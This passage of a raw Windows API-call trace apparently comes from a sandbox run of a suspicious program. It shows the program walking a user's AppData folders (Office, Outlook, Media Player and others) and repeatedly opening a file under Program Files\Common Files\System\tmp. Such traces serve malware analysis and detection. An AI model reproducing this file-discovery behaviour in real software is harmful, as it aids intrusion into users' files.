0x194 [0127.021] GetFileType (hFile=0x194) returned 0x1 [0127.022] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x7000, nFileSizeHigh=0x0, nFileSizeLow=0x6bc4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.022] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.022] GetLastError () returned 0x12 [0127.022] AreFileApisANSI () returned 1 [0127.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.022] GetFileType (hFile=0x190) returned 0x1 [0127.023] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.023] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.023] GetLastError () returned 0x12 [0127.023] AreFileApisANSI () returned 1 [0127.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.024] GetFileType (hFile=0x190) returned 0x1 [0127.024] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.024] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.024] GetLastError () returned 0x12 [0127.024] AreFileApisANSI () returned 1 [0127.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.024] GetFileType (hFile=0x190) returned 0x1 [0127.025] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.083] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.083] GetLastError () returned 0x12 [0127.083] AreFileApisANSI () returned 1 [0127.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.083] GetFileType (hFile=0x190) returned 0x1 [0127.083] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.130] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.130] GetLastError () returned 0x12 [0127.130] AreFileApisANSI () returned 1 [0127.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.130] GetFileType (hFile=0x190) returned 0x1 [0127.130] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.131] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.132] GetLastError () returned 0x12 [0127.132] AreFileApisANSI () returned 1 [0127.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.132] GetFileType (hFile=0x190) returned 0x1 [0127.132] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.176] AreFileApisANSI () returned 1 [0127.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.176] GetFileType (hFile=0x194) returned 0x1 [0127.176] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x8000, nFileSizeHigh=0x0, nFileSizeLow=0x72a7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.176] AreFileApisANSI () returned 1 [0127.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.176] GetFileType (hFile=0x194) returned 0x1 [0127.177] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x8000, nFileSizeHigh=0x0, nFileSizeLow=0x73b5, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.177] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.177] GetLastError () returned 0x12 [0127.177] AreFileApisANSI () returned 1 [0127.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.178] GetFileType (hFile=0x190) returned 0x1 [0127.178] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.178] AreFileApisANSI () returned 1 [0127.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.179] GetFileType (hFile=0x194) returned 0x1 [0127.179] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.223] AreFileApisANSI () returned 1 [0127.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.223] GetFileType (hFile=0x198) returned 0x1 [0127.223] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x8000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x76c2, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.223] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.223] GetLastError () returned 0x12 [0127.223] AreFileApisANSI () returned 1 [0127.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.224] GetFileType (hFile=0x194) returned 0x1 [0127.224] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.224] AreFileApisANSI () returned 1 [0127.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.224] GetFileType (hFile=0x198) returned 0x1 [0127.224] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x8000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x78d0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.224] AreFileApisANSI () returned 1 [0127.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.225] GetFileType (hFile=0x198) returned 0x1 [0127.225] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x8000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x79d7, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.225] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.225] GetLastError () returned 0x12 [0127.225] AreFileApisANSI () returned 1 [0127.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.225] GetFileType (hFile=0x194) returned 0x1 [0127.225] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x8000, nFileSizeHigh=0x0, nFileSizeLow=0x7adc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.225] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.225] GetLastError () returned 0x12 [0127.225] AreFileApisANSI () returned 1 [0127.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.226] GetFileType (hFile=0x190) returned 0x1 [0127.226] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.226] AreFileApisANSI () returned 1 [0127.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.226] GetFileType (hFile=0x194) returned 0x1 [0127.226] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x14, ftLastWriteTime.dwHighDateTime=0x8000, nFileSizeHigh=0x0, nFileSizeLow=0x7cda, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.227] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.227] GetLastError () returned 0x12 [0127.227] AreFileApisANSI () returned 1 [0127.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.227] GetFileType (hFile=0x190) returned 0x1 [0127.227] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.333] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.333] GetLastError () returned 0x12 [0127.334] AreFileApisANSI () returned 1 [0127.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.334] GetFileType (hFile=0x190) returned 0x1 [0127.334] 